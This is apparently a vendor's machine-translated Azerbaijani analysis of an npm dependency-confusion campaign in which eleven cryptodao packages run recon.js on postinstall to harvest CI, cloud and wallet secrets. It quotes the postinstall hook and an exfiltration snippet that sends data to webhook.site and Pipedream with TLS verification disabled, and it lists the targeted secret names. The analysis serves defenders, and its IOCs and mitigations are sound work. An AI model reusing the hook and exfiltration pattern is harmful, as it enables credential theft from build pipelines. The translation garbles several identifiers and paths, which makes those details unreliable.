CryptoDAO qarışıqlığı: npm Paketlərin yığımı CI/CD və Kripto Sirləri

CryptoDAO qarışıqlığı: on bir npm paket, bir faydalı yük, yığım CI/CD və kripto-cüzdan sirləri

TL; DR

2026-06-17 tarixində tək bir npm hesabı dərc edildi Bir məqsəd və bir yükü paylaşan on bir paketOnlardan on nəfəri daşıyır cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); on birincisi əhatə dairəsidir @public-for-cdao/coreHər biri versiyada dərc edilib 99.99.99 və baytla eyni olanı göndərir recon.js davam edir postinstall.

Adlar əsas məsələdir. Onlar kriptovalyuta/DAO layihəsinin özəl alətlər zəncirinin daxili tikinti blokları kimi oxunur. Süni şəkildə yüksək versiyada ictimai npm reyestrinə dərc edildikdən sonra, onlar bir quruluşu gözləyirlər. pipeline həmin adları həll etmək üçün konfiqurasiya edilmiş və şəxsi reyestrdən əvvəl və ya əvəzinə ictimai npm-ə çatan. Bu asılılıq qarışıqlığı, və faydalı yükün tam olaraq harada enəcəyini gözlədiyinə görə tənzimlənir: CI/CD idmançı.

Zaman postinstall yanğınlar, recon.js ev sahibi məlumatlarını toplayır, kobud şəkildə süpürür qırx bulud, CI və kripto-cüzdan mühit dəyişənləri, istənilən oxuyur .env Tapa biləcəyi faylları saxlayır və gizli xətləri sözbəsöz ötürür, sonra paketi iki kolleksiyaçıya ötürür — webhook.site və Pipedream son nöqtəsi — TLS sertifikatı yoxlanışı deaktivdir. Bir nüsxə də altında yazılıb /tmp.

Şiddəti: yüksəkTəsirə məruz qalan ekosistem: npmYazı yazıldığı zaman on bir paketin hamısı aktiv idi.

Hücum anatomiyası

Mexanizmin dörd hərəkətli hissəsi var və bunların heç biri birdən incə işləmir. paket adından bir qat sonra baxın.

1. Versiya inflyasiyası həlledici cazibə kimi. Hər paket versiyanı elan edir 99.99.99Asılılıq qarışıqlığı paket meneceri bir şey istədikdə işə düşür. daxili ad, həmçinin ictimai reyestri yoxlayır və ən yüksək versiyanı seçir tapır. npm-in karet və ya yersiz işarə diapazonu üçün standart seçimi budur hər bir konfiqurasiya edilmiş mənbədə ən yüksək qənaətbəxş versiya; əgər hər ikisi özəldirsə Eyni ad üçün reyestr və public npm cavabı verildikdə, daha böyük versiya nömrəsi qalib gəlir. A 99.99.99 layihənin sahib olacağı hər hansı bir real daxili versiyasından əhəmiyyətli dərəcədə üstündür çatıldı, buna görə də özəl mənbəyə bağlanmayan bir həlledici üstünlük verir ictimai — və bu halda, düşmən — surəti. Operatorun bilməsi lazım deyil hədəfin real versiya nömrələri; absurd maksimum seçmək həmişə bərabərliyi təmin edir yollarını kəsir.

2. Quraşdırmadan sonrakı tetikleyici. paket.json yükü quraşdırmaya ötürür həyat dövrü:

{   "scripts": { "postinstall": "node recon.js" } }

Paketin idxalı tələb olunmur. Sadəcə quraşdırmaq lazımdır — hansı ki, CI pipeline avtomatik olaraq işləyir — işləyir recon.js.

3. Geniş məxfi əməliyyat. recon.js Nəticələr massivini mərhələlərlə yığır:

  • Host konteksti: host adı, platforma və buraxılış, arxitektura, istifadəçi adı, işləmə kataloq.
  • Ətraf mühit dəyişənləri: təxminən qırx ad və qeyddən ibarət sabit bir siyahını təkrarlayır təyin olunmuş hər hansı bir şey. Siyahı açıqdır — ümumi CI tokenlərini cütləşdirir (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) və bulud etimadnamələr (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) reyestr və konteyner sirləri ilə (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) və açıq şəkildə kripto dadlı bir qrup:  ÖZƏL_KEY, MNEMONİK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCQeydə alınmış dəyərlər ilk 50 simvola qədər qısaldılır.
  • .NS fayllar: yolların siyahısını araşdırır — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, .istehsal/.inkişaf variantlar — və mövcud olan hər hansı bir fayl üçün, məzmunu uyğun sətirlərə filtrləyir AÇAR|GİZLİ|TOKEN|PASS|ŞƏXSİ|MNEMONİK və həmin sətirləri **tam, kəsilməmiş** şəkildə nəticələrə daxil edir.
  • Build-host konteksti: ilk 20 girişi sadalayır /qurulur/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner//tmp/.

Yol siyahısı və dəyişən siyahısı GitLab çalışanlarına yönəldilir ki, bu da işarə edir faydalı yük, birbaşa geliştiricidən daha çox, özünəməxsus CI infrastrukturundadır noutbuk. Məhsul siyahısını kateqoriyaya görə qruplaşdırmaq nəzərdə tutulan daşınmanı sadələşdirir:

Kateqoriya Dəyişənlər / yollar çatıldı
CI/CD şəxsiyyət və yerləşdirmə CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Bulud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Qeydiyyat və konteyner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Məlumat mağazaları DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blokçeyn PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Mesajlar SLACK_TOKEN, DISCORD_TOKEN
Diskdə .env ailə + /home/gitlab-runner/.env, /root/.env, /app/**/.env; kataloq siyahıları /builds/, /var/lib/gitlab-runner/

Kripto klaster bunu ümumi CI sirrindən fərqləndirən hissədir. süpürmə: cüzdan toxum ifadələri və imza açarları yalnız a mühitində görünür blokçeyn layihəsi və onlar birbaşa xəritəyə daxil edilir kriptodao-/işarə/müqavilələr daşıyıcıların adlandırılması.

4. Doğrulama deaktiv edilmiş ikili eksfiltrasiya. Toplanmış massivdir seriyalaşdırıldı və iki təyinat yerinə göndərildi:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rədd etUnaranted: yalan çıxış üçün TLS sertifikat yoxlamalarını söndürür zənglər. Eyni məlumatlar stdout-a çap olunur (beləliklə, CI iş qeydlərinə də daxil olur) və yazılı /tmp/.npm_recon_ .jsonSəhvlər səssizcə udulur, ona görə də Uğursuz göndərmə quraşdırma çıxışında tək birdən çox iz buraxmır [tədqiqat] quraşdırılıb xətt.

Fayldakı aparıcı şərh bunu “Asılılıq Qarışıqlığı” kimi təsvir edir. Kəşfiyyat Yükü.” Ətraf mühit dəyərlərinin 50 simvola qədər qısaldılması konsepsiyanın sübutunun forması. Onu yalnız mövcudluq mayakından kənara çıxaran şeydir .NS işləmə: gizli daşıyıcı xətlər tam şəkildə göndərilir və təyinat yerləri yalnız sayan bir lavabodan daha çox, iki işləyən, hücumçu tərəfindən idarə olunan kollektordur vurur.

İş qrafiki

Dərc etmə nümunəsi on bir deyil, tək bir skriptli təkan imzasıdır müstəqil yükləmələr.

Vaxt (UTC, 2026-06-17) hadisə
03:24:58 cryptodao-bot@99.99.99 nəşr
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — əhatə dairəsi olan variant, ~24 dəqiqə sonra

29 saniyəlik bir pəncərədə on bağlama, təxminən hər üç saniyədə bir bağlama çıxdı. Əhatə dairəsi @public-for-cdao/core təxminən 24 dəqiqə sonra — bir saniyə sonra izlədi istehlakçı layihə istinad etdiyi təqdirdə, eyni hədəf üçün adlandırma konvensiyası daxili alətlər zəncirini çılpaq adlar əvəzinə əhatə dairəsi altında.

Kompromis göstəriciləri

növü Göstərici
Kolleksiyaçı hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolleksiyaçı hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Qarmağı quraşdırın postinstall: node recon.js
Fayl atıldı /tmp/.npm_recon_<timestamp>.json
Giriş işarəsi [recon] <pkg>@<ver> installed on <hostname> (CI qeydlərində stdout)
Davranışçı rejectUnauthorized: false quraşdırma zamanı çıxan HTTPS-lərdə
Payload recon.js, bütün on bir paketdə (bir paylaşılan quruluşda) eynidir
Versiya 99.99.99 hər paketdə
Paketlər cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (hamısı) 99.99.99)
naşir aduljune / aduljune@proton.me (e-poçt təsdiqlənməyib, əlaqəli mənbə anbarı yoxdur)

 Atribut və müşahidə olunan davranış

Klasterlə bağlı hər şey bir ələ işarə edir. On bir paketin hamısı dərc edilib npm hesabı ilə yetkinlik yaşı (aduljune@proton.me, təsdiqlənməmiş ünvan, nömrəsi yoxdur əlaqəli mənbə anbarı), 25 dəqiqəlik müddət ərzində, eyni zamanda 99.99.99 versiya, çatdırılma recon.js məzmunu hər biri üçün bayt-bayt eynidir paket (MD5 bütün on bir çıxarılan nüsxə ilə uyğun gəlir). Bu, bir faydalı yükdür müstəqil kod təkrar istifadəsi deyil, adlar siyahısına möhür vurulub.

Ad siyahısı nəzərdə tutulan hədəfi müəyyən edir. kriptodao-*cdao təsvir edin kripto/DAO layihəsinin özəl modul düzeni və faydalı yükün məhsul siyahısı güzgülər təxmin edir: ümumi CI və bulud sirləri ilə yanaşı, xüsusilə də üçün uzanır ÖZƏL_KEY, MNEMONİK, SEED_PHRASEvə Ethereum/BSC RPC və provayder açarları. .NS axtarış yolları və qovluq siyahıları GitLab-runner-dir spesifik. Müşahidə olunan təsir ondan ibarətdir ki, istənilən pipeline bunları quraşdırmağa aldandı adlar öz CI tokenlərini, bulud açarlarını və diskdəki məlumatlarını göndərəcəkdi .NS sirlər — və, üçün blokçeyn layihəsi, onun cüzdan materialı — iki üçüncü tərəf kolleksiyaçıya.

Hesabı kimin idarə etdiyi və ya onunla nə etməyi planlaşdırdığı barədə heç bir iddia irəli sürmürük məlumatlar. Öz-özünə mövcud olan faktlar: adlar müəyyən bir növü hədəf alır daxili alətlər zənciri, faydalı yük real gizli dəyərləri oxuyur və ötürür və infrastruktur işlək vəziyyətdə idi.

Təsir, trendlər və müdafiəçi rəhbərliyi

Asılılıq qarışıqlığı təsirli olaraq qalır, çünki həlledici davranışından deyil, istismar edir istənilən paketdə zəiflik. Burada daşıyıcı əhəmiyyətsizdir — on bir demək olar ki, boşdur paketlər — amma partlayış radiusu nə olursa olsun pipeline səhvən ictimai npm-ə üstünlük verir Daxili ad üçün. CI qaçışçıları bunun baş verməsi üçün ən pis yerdir: onlar tuturlar tam olaraq tokenlər və .NS bu faydalı yük fayllarını oxuyur və onlar quraşdırırlar asılılıqlar qeyri-interaktiv şəkildə, beləliklə quraşdırma sonrası heç kimin izləmədiyi bir vaxtda qaçır.

Bu klaster həmçinin daim gördüyümüz bir nümunəyə uyğundur: mövcud quraşdırma vaxtı yükləri həqiqi etimadnamə toplayarkən "tədqiqat" və ya "kəşfiyyat" kimi. Etiket faylda kodun çalışdırıcıda etdiyi işi dəyişdirmir. İki dizayn seçimi qalır Səssiz fəaliyyət: hər bir şəbəkə və fayl sistemi əməliyyatı bir-birinə bükülmüşdür səhvləri ləğv edən istisna işleyicisi, beləliklə, bloklanmış göndərmə və ya itkin fayl heç bir diaqnostik nəticə vermir və çap olunan tək şey tək bir zərərsizdir [yenidən qurma] … quraşdırılıb normal quraşdırma söhbətinə qarışan xətt. İstifadəsi webhook.site və Pipedream də qəsdən rahatlıqdır - hər ikisi pulsuzdur, dərhal sorğu toplama xidmətləri təmin edilir, buna görə operatorun serverlərə ehtiyacı yoxdur özləri və təyinat yerləri çıxış qeydlərində adi SaaS host adlarına bənzəyir.

İqtisadiyyat bunu müdafiəçinin diqqətinə layiq edən amillərdir, baxmayaraq ki, Daşıyıcı kodu əhəmiyyətsizdir. On bir adın qeydiyyatı heç bir xərc tələb etmir, faydalı yük isə birdir fayl on bir dəfə kopyalanır və paket meneceri bütün icraatı yerinə yetirir. Tək bir səhv konfiqurasiya edilib pipeline bu adlardan birini istehlak edən hər yer bütövlükdə pul ödəyir əməliyyat.

Müdafiəçilər üçün konkret addımlar:

  • Daxili sahələri şəxsi reyestrinizə yerləşdirin. Daxili adlar üçün npm-i konfiqurasiya edin
     və miqyaslar yalnız reyestrinizə qarşı həll olunur (miqyaslı .npmrc reyestr xəritələri,
    və ya heç vaxt sahib olduğu ad məkanları üçün ictimai npm-ə düşməyən bir proxy). İctimai əhatə dairəsi adlarınızı başqa heç kimin qeydiyyatdan keçirə bilməməsi üçün rezerv edin.
  • Commit lockfiles faylını açın və –ignore-scripts ilə quraşdırın CI-də mümkün olduqda, və ya Həqiqətən quraşdırma skriptlərinə ehtiyacı olan kiçik asılılıqlar dəstini yoxlayın.  recon.js aşağıdakı hallarda işləyə bilməz: quraşdırma sonrası icra edilmir.
  • Daxili görünüşlü bir adın 99.99.99 (və ya digər absurd dərəcədə yüksək) versiyasını qiymətləndirin qırmızı bayraq kimi asılılıq icmalı və reyestr monitorinqində.
  • Quraşdırma vaxtının çıxışı barədə xəbərdarlıq. A quraşdırma sonrası gedən HTTPS açan bağlantı — xüsusən də sertifikat yoxlaması deaktiv olduqda — webhook.site, Pipedream və ya oxşar sorğu toplama xidmətləri şəbəkə kənarında bloklanmağa və quruluş jurnallarında işarələnməyə dəyər.
  • Əsərləri axtarın. Qaçışçıları yoxlayın /tmp/.npm_recon_*.json[recon] … son CI qeydlərində … markerində quraşdırılıb. Tapılarsa, hər dəfə fırladın buna məruz qalan etimadnamə pipeline — CI tokenləri, bulud açarları, qeydiyyat tokenləri və mühitdə və ya .env fayllarında mövcud olan istənilən cüzdan toxumları və ya şəxsi açarlar.

References

Yazı zamanı bu klaster haqqında heç bir xarici hesabat mövcud deyildi; təhlil Yuxarıda göstərilənlər birbaşa dərc olunmuş paket məzmununa əsaslanır

sca-tools-proqram-kompozisiya-analiz-alətləri
Proqram təminatı risklərinizi prioritetləşdirin, aradan qaldırın və təhlükəsizləşdirin
Pulsuz Hesabınızı əldə edin.
Kredit kartı tələb olunmur.

Proqram təminatınızın hazırlanması və çatdırılmasını təmin edin

Xygeni Məhsul Dəsti ilə